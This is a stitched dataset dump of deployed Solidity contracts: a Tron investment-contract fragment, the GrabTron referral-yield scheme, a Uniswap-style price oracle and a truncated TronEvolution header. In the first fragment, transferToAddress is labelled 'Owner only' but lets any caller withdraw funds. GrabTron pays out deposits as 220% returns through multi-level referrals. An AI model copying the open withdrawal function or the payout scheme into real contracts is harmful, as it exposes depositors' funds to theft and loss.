function transferToAddress(address receiver, uint amount) public {
require(receiver != address(0), "Owner only");
msg.sender.transfer(amount);
emit onWithdraw(msg.sender, amount);
}
function withdraw() public payable {
require(msg.value == 0, "withdrawal doesn't allow to transfer trx simultaneously");
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not withdraw because no any investments");
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
Objects.Plan storage plan = investmentPlans_[uid2Investor[uid].plans[i].planId];
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
if (plan.term > 0) {
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(plan.term);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , plan.dailyInterest , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate , plan.maxDailyInterest);
withdrawalAmount += amount;
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
uint256 deductionWalletPercentage = (withdrawalAmount.mul(ADMIN_ENTRY_RATE)).div(1000);
deductionWalletAddr.transfer(deductionWalletPercentage);
msg.sender.transfer(withdrawalAmount);
if (uid2Investor[uid].availableReferrerEarnings>0) {
msg.sender.transfer(uid2Investor[uid].availableReferrerEarnings);
uid2Investor[uid].referrerEarnings = uid2Investor[uid].availableReferrerEarnings.add(uid2Investor[uid].referrerEarnings);
uid2Investor[uid].availableReferrerEarnings = 0;
}
emit onWithdraw(msg.sender, withdrawalAmount);
}
function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start , uint256 _maxDailyInterest) private pure returns (uint256) {
uint256 numberOfDays = (_now - _start) / INTEREST_CYCLE ;
uint256 result = 0;
uint256 index = 0;
if(numberOfDays > 0){
uint256 secondsLeft = (_now - _start);
for (index; index < numberOfDays; index++) {
if(_dailyInterestRate + index <= _maxDailyInterest){
secondsLeft -= INTEREST_CYCLE;
result += (_amount * (_dailyInterestRate + index) / 1000 * INTEREST_CYCLE) / (60*60*24);
}
else{
break;
}
}
result += (_amount * (_dailyInterestRate + index) / 1000 * secondsLeft) / (60*60*24);
return result;
}else{
return (_amount * _dailyInterestRate / 1000 * (_now - _start)) / (60*60*24);
}
}
function _calculateReferrerReward(uint256 _investment, uint256 _referrerCode) private {
uint256 _allReferrerAmount = (_investment.mul(REFERENCE_RATE)).div(1000);
if (_referrerCode != 0) {
uint256 _ref1 = _referrerCode;
uint256 _refAmount = 0;
uint ln=0;
while (_ref1 != 0 && ln<7)
{
_refAmount = (_investment.mul(REFERENCE_LEVEL_RATE[ln+1])).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref1].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref1].availableReferrerEarnings);
_ref1= uid2Investor[_ref1].referrer;
ln++;
}
}
if (_allReferrerAmount > 0) {
referenceAccount_.transfer(_allReferrerAmount);
}
}
}
| 297,968 | 14,026 |
eb5751a99e8eb3b69cd4475fcc2dca6122f9dec09aa2508ba8e361d082c77ab0
| 16,189 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TB/TBcjgrk3bfp7x3np9txK2DDey9Ub6fQrf6_GrabTron.sol
| 4,754 | 14,780 |
//SourceUnit: GrabTron.sol
pragma solidity ^0.5.10;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract GrabTron {
using SafeMath for uint256;
uint256 constant public INVEST_MIN_AMOUNT = 100 trx;
uint256 constant public BASE_PERCENT = 10;
uint256[] public REFERRAL_PERCENTS = [50, 20, 10, 5, 5];
uint256 constant public MARKETING_FEE = 85;
uint256 constant public PROJECT_FEE = 15;
uint256 constant public PERCENTS_DIVIDER = 1000;
uint constant public MAX_CONTRACT_PERCENT = 220;
uint256 constant public CONTRACT_BALANCE_STEP = 250000 trx; // If reach 250k TRX, contract ROI will increase by 0.1% everyday
uint256 constant public TIME_STEP = 1 days;
uint256 public totalUsers;
uint256 public totalInvested;
uint256 public totalWithdrawn;
uint256 public totalDeposits;
address payable public marketingAddress;
address payable public projectAddress;
uint256 public daily_balance;
uint256[] public daily_top_bonuses=[15, 10, 5];
uint256 public daily_top_last_draw = block.timestamp;
uint256 public daily_top_cycle;
uint256 constant public QUALIFY_TOP_BONUS = 250000 trx;
mapping(uint256 => mapping(address => uint256)) public daily_users_refs_deposits_sum;
mapping(uint8 => address) public daily_top;
uint public contractPercent;
struct Deposit {
uint256 amount;
uint256 withdrawn;
uint256 start;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
address referrer;
uint256 bonus;
uint256 topsponsorbonus;
uint256 totalWithdrawn;
uint24[5] refs;
}
mapping (address => User) public users;
mapping(address => mapping(uint256=>address)) public downline;
event Newbie(address user);
event NewDeposit(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
event DailytopPayout(address indexed user, uint256 Amount);
constructor(address payable marketingAddr, address payable projectAddr) public {
require(!isContract(marketingAddr) && !isContract(projectAddr));
marketingAddress = marketingAddr;
projectAddress = projectAddr;
contractPercent = getContractBalanceRate();
}
function invest(address referrer) public payable {
require(!isContract(msg.sender) && msg.sender == tx.origin);
require(msg.value >= INVEST_MIN_AMOUNT);
User storage user = users[msg.sender];
marketingAddress.transfer(msg.value.mul(MARKETING_FEE).div(PERCENTS_DIVIDER));
projectAddress.transfer(msg.value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER));
emit FeePayed(msg.sender, msg.value.mul(MARKETING_FEE.add(PROJECT_FEE)).div(PERCENTS_DIVIDER));
if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
uint msgValue = msg.value;
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint i = 0; i < 5; i++) {
if (upline != address(0)) {
uint amount = msgValue.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
if (amount > 0) {
users[upline].bonus = uint64(uint(users[upline].bonus).add(amount));
emit RefBonus(upline, msg.sender, i, amount);
}
users[upline].refs[i]++;
upline = users[upline].referrer;
} else break;
}
downline[referrer][users[referrer].refs[0] - 1]= msg.sender;
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
totalUsers = totalUsers.add(1);
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(msg.value, 0, block.timestamp));
totalInvested = totalInvested.add(msg.value);
totalDeposits = totalDeposits.add(1);
if(daily_top_last_draw + 1 days < block.timestamp) {
_drawTop();
}
_dailyDeposits(msg.sender, msg.value);
if (contractPercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
uint contractPercentNew = getContractBalanceRate();
if (contractPercentNew > contractPercent) {
contractPercent = contractPercentNew;
}
}
emit NewDeposit(msg.sender, msg.value);
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 userPercentRate = getUserPercentRate(msg.sender);
uint256 totalAmount;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(22).div(10)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(22).div(10)) { // Deposited Amount 22 10 // = Deposited Amount 2.2
dividends = (user.deposits[i].amount.mul(22).div(10)).sub(user.deposits[i].withdrawn); // Deposited Amount 2.2 Times Return
} // Total Return = 220%
user.deposits[i].withdrawn = user.deposits[i].withdrawn.add(dividends); // changing of storage data after withdrawal
totalAmount = totalAmount.add(dividends);
}
}
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
totalAmount = totalAmount.add(referralBonus);
user.bonus = 0;
}
uint256 topSponsorBonus = getUserTopSponsorBonus(msg.sender);
if (topSponsorBonus > 0) {
totalAmount = totalAmount.add(topSponsorBonus);
user.topsponsorbonus = 0;
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
msg.sender.transfer(totalAmount);
user.totalWithdrawn = user.totalWithdrawn.add(totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function _dailyDeposits(address _addr, uint256 _amount) private {
daily_balance += _amount;
address upline = users[_addr].referrer;
if(upline == address(0)) return;
daily_users_refs_deposits_sum[daily_top_cycle][upline] += _amount;
if(daily_users_refs_deposits_sum[daily_top_cycle][upline] >= QUALIFY_TOP_BONUS){
for(uint8 i = 0; i < daily_top_bonuses.length; i++) {
if(daily_top[i] == upline) break;
if(daily_top[i] == address(0)) {
daily_top[i] = upline;
break;
}
if(daily_users_refs_deposits_sum[daily_top_cycle][upline] > daily_users_refs_deposits_sum[daily_top_cycle][daily_top[i]]) {
for(uint8 j = i + 1; j < daily_top_bonuses.length; j++) {
if(daily_top[j] == upline) {
for(uint8 k = j; k <= daily_top_bonuses.length; k++) {
daily_top[k] = daily_top[k + 1];
}
break;
}
}
for(uint8 j = uint8(daily_top_bonuses.length - 1); j > i; j--) {
daily_top[j] = daily_top[j - 1];
}
daily_top[i] = upline;
break;
}
}
}
}
function _drawTop() private {
daily_top_last_draw = block.timestamp;
daily_top_cycle++;
uint256 draw_amount = daily_balance;
for(uint8 i = 0; i < daily_top_bonuses.length; i++) {
if(daily_top[i] == address(0)) break;
uint256 win = draw_amount * daily_top_bonuses[i] / PERCENTS_DIVIDER;
users[daily_top[i]].topsponsorbonus += win;
daily_balance = 0;
emit DailytopPayout(daily_top[i], win);
}
daily_balance = 0;
for(uint8 i = 0; i < daily_top_bonuses.length; i++) {
daily_top[i] = address(0);
}
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function contractInfo() view external returns(uint256 _total_users, uint256 _total_deposited, uint256 _total_withdraw, uint256 _daily_top_last_draw, uint256 _daily_balance, uint _contractPercent) {
return (totalUsers, totalInvested, totalWithdrawn, daily_top_last_draw, daily_balance, contractPercent);
}
function getContractBalanceRate() internal view returns (uint) {
uint contractBalance = address(this).balance;
uint contractBalancePercent = BASE_PERCENT.add(contractBalance.div(CONTRACT_BALANCE_STEP));
if (contractBalancePercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
return contractBalancePercent;
} else {
return BASE_PERCENT.add(MAX_CONTRACT_PERCENT);
}
}
function getUserPercentRate(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
if (isActive(userAddress)) {
uint timeMultiplier = (block.timestamp.sub(uint(user.checkpoint))).div(TIME_STEP);
return contractPercent.add(timeMultiplier);
} else {
return contractPercent;
}
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 userPercentRate = getUserPercentRate(userAddress);
uint256 totalDividends;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(22).div(10)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(22).div(10)) {
dividends = (user.deposits[i].amount.mul(22).div(10)).sub(user.deposits[i].withdrawn);
}
totalDividends = totalDividends.add(dividends);
/// no update of withdrawn because that is view function
}
}
return totalDividends;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserInfo(address userAddress) public view returns(address _referrer, uint256 _bonus, uint256 _topsponsorbonus, uint256 _totalWithdrawn) {
return (users[userAddress].referrer, users[userAddress].bonus, users[userAddress].topsponsorbonus, users[userAddress].totalWithdrawn);
}
function getUserDownlineInfo(address userAddress) public view returns(uint256 _level1, uint256 _level2, uint256 _level3, uint256 _level4, uint256 _level5) {
return (users[userAddress].refs[0], users[userAddress].refs[1], users[userAddress].refs[2], users[userAddress].refs[3], users[userAddress].refs[4]);
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
return users[userAddress].bonus;
}
function getUserTopSponsorBonus(address userAddress) public view returns(uint256) {
return users[userAddress].topsponsorbonus;
}
function getUserAvailableBalanceForWithdrawal(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress)).add(getUserTopSponsorBonus(userAddress));
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
if (user.deposits.length > 0) {
if (user.deposits[user.deposits.length-1].withdrawn < user.deposits[user.deposits.length-1].amount.mul(22).div(10)) {
return true;
}
}
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint256, uint256, uint256) {
User storage user = users[userAddress];
return (user.deposits[index].amount, user.deposits[index].withdrawn, user.deposits[index].start);
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].amount);
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].withdrawn);
}
return amount;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function dailyTopInfo() view external returns(address[3] memory addrs, uint256[3] memory deps) {
for(uint8 i = 0; i < daily_top_bonuses.length; i++) {
if(daily_top[i] == address(0)) break;
addrs[i] = daily_top[i];
deps[i] = daily_users_refs_deposits_sum[daily_top_cycle][daily_top[i]];
}
}
}
| 284,679 | 14,027 |
30abc4396173591c2c931191144402940e5c1c8082cea869599405e075b60abf
| 25,926 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/b7/b7bbd09c70140523e382ec59c177b8eb30ffbf94_HorseWhisperer2.sol
| 4,833 | 17,039 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() internal {
_operator = _msgSender();
emit OperatorTransferred(address(0), _operator);
}
function operator() public view returns (address) {
return _operator;
}
modifier onlyOperator() {
require(_operator == msg.sender, "operator: caller is not the operator");
_;
}
function isOperator() public view returns (bool) {
return _msgSender() == _operator;
}
function transferOperator(address newOperator_) public onlyOwner {
_transferOperator(newOperator_);
}
function _transferOperator(address newOperator_) internal {
require(newOperator_ != address(0), "operator: zero address given for new operator");
emit OperatorTransferred(address(0), newOperator_);
_operator = newOperator_;
}
}
contract Epoch is Operator {
using SafeMath for uint256;
uint256 private period;
uint256 private startTime;
uint256 private lastEpochTime;
uint256 private epoch;
constructor(uint256 _period,
uint256 _startTime,
uint256 _startEpoch) public {
period = _period;
startTime = _startTime;
epoch = _startEpoch;
lastEpochTime = startTime.sub(period);
}
modifier checkStartTime {
require(now >= startTime, 'Epoch: not started yet');
_;
}
modifier checkEpoch {
uint256 _nextEpochPoint = nextEpochPoint();
if (now < _nextEpochPoint) {
require(msg.sender == operator(), 'Epoch: only operator allowed for pre-epoch');
_;
} else {
_;
for (;;) {
lastEpochTime = _nextEpochPoint;
++epoch;
_nextEpochPoint = nextEpochPoint();
if (now < _nextEpochPoint) break;
}
}
}
function getCurrentEpoch() public view returns (uint256) {
return epoch;
}
function getPeriod() public view returns (uint256) {
return period;
}
function getStartTime() public view returns (uint256) {
return startTime;
}
function getLastEpochTime() public view returns (uint256) {
return lastEpochTime;
}
function nextEpochPoint() public view returns (uint256) {
return lastEpochTime.add(period);
}
function setPeriod(uint256 _period) external onlyOperator {
require(_period >= 1 hours && _period <= 48 hours, '_period: out of range');
period = _period;
}
function setEpoch(uint256 _epoch) external onlyOperator {
epoch = _epoch;
}
}
// fixed window oracle that recomputes the average price for the entire period once every period
contract HorseWhisperer2 is Epoch {
using FixedPoint for *;
using SafeMath for uint256;
// uniswap
address public token0;
address public token1;
IUniswapV2Pair public pair;
// oracle
uint32 public blockTimestampLast;
uint256 public price0CumulativeLast;
uint256 public price1CumulativeLast;
FixedPoint.uq112x112 public price0Average;
FixedPoint.uq112x112 public price1Average;
constructor(IUniswapV2Pair _pair,
uint256 _period,
uint256 _startTime) public Epoch(_period, _startTime, 0) {
pair = _pair;
token0 = pair.token0();
token1 = pair.token1();
price0CumulativeLast = pair.price0CumulativeLast(); // fetch the current accumulated price value (1 / 0)
price1CumulativeLast = pair.price1CumulativeLast(); // fetch the current accumulated price value (0 / 1)
uint112 reserve0;
uint112 reserve1;
(reserve0, reserve1, blockTimestampLast) = pair.getReserves();
require(reserve0 != 0 && reserve1 != 0, "Oracle: NO_RESERVES"); // ensure that there's liquidity in the pair
}
function update() external checkEpoch {
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
// price0Cumulative = price0Cumulative > 100000000 ? price0Cumulative.div(1e12): price0Cumulative;
// price1Cumulative = price1Cumulative > 100000000 ? price1Cumulative.div(1e12): price1Cumulative;
if (timeElapsed == 0) {
// prevent divided by zero
return;
}
// overflow is desired, casting never truncates
price0Average = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed));
price1Average = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed));
price0CumulativeLast = price0Cumulative;
price1CumulativeLast = price1Cumulative;
blockTimestampLast = blockTimestamp;
emit Updated(price0Cumulative, price1Cumulative);
}
// note this will always return 0 before update has been called successfully for the first time.
function consult(address _token, uint256 _amountIn) external view returns (uint144 amountOut) {
if (_token == token0) {
amountOut = price0Average.mul(_amountIn).decode144()*(1e12);
} else {
require(_token == token1, "Oracle: INVALID_TOKEN");
amountOut = price1Average.mul(_amountIn).decode144()*(1e12);
}
}
function twap(address _token, uint256 _amountIn) external view returns (uint144 _amountOut) {
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (_token == token0) {
_amountOut = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed)).mul(_amountIn).decode144();
} else if (_token == token1) {
_amountOut = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed)).mul(_amountIn).decode144();
}
}
event Updated(uint256 price0CumulativeLast, uint256 price1CumulativeLast);
}
library Babylonian {
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
// else z = 0
}
}
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = uint256(1) << RESOLUTION;
uint256 private constant Q224 = Q112 << RESOLUTION;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint256 y) internal pure returns (uq144x112 memory) {
uint256 z;
require(y == 0 || (z = uint256(self._x) * y) / y == uint256(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
// take the reciprocal of a UQ112x112
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
require(self._x != 0, "FixedPoint: ZERO_RECIPROCAL");
return uq112x112(uint224(Q224 / self._x));
}
// square root of a UQ112x112
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56));
}
}
// library with helper methods for oracles that are concerned with computing average prices
library UniswapV2OracleLibrary {
using FixedPoint for *;
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2**32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(address pair)
internal
view
returns (uint256 price0Cumulative,
uint256 price1Cumulative,
uint32 blockTimestamp)
{
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint256(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint256(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from,
address to,
uint256 value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to) external returns (uint256 amount0, uint256 amount1);
function swap(uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
| 315,614 | 14,028 |
498429733f4263d1d988994d4454f3d7bec1ebc53943424f2c7f7cd0232dc5b6
| 12,703 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TM/TMJQTbucmSFEui5nK9RfjaEUAXDR9qQRWm_TronEvolution.sol
| 3,518 | 10,707 |
//SourceUnit: TronEvolution.sol
pragma solidity 0.5.9;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
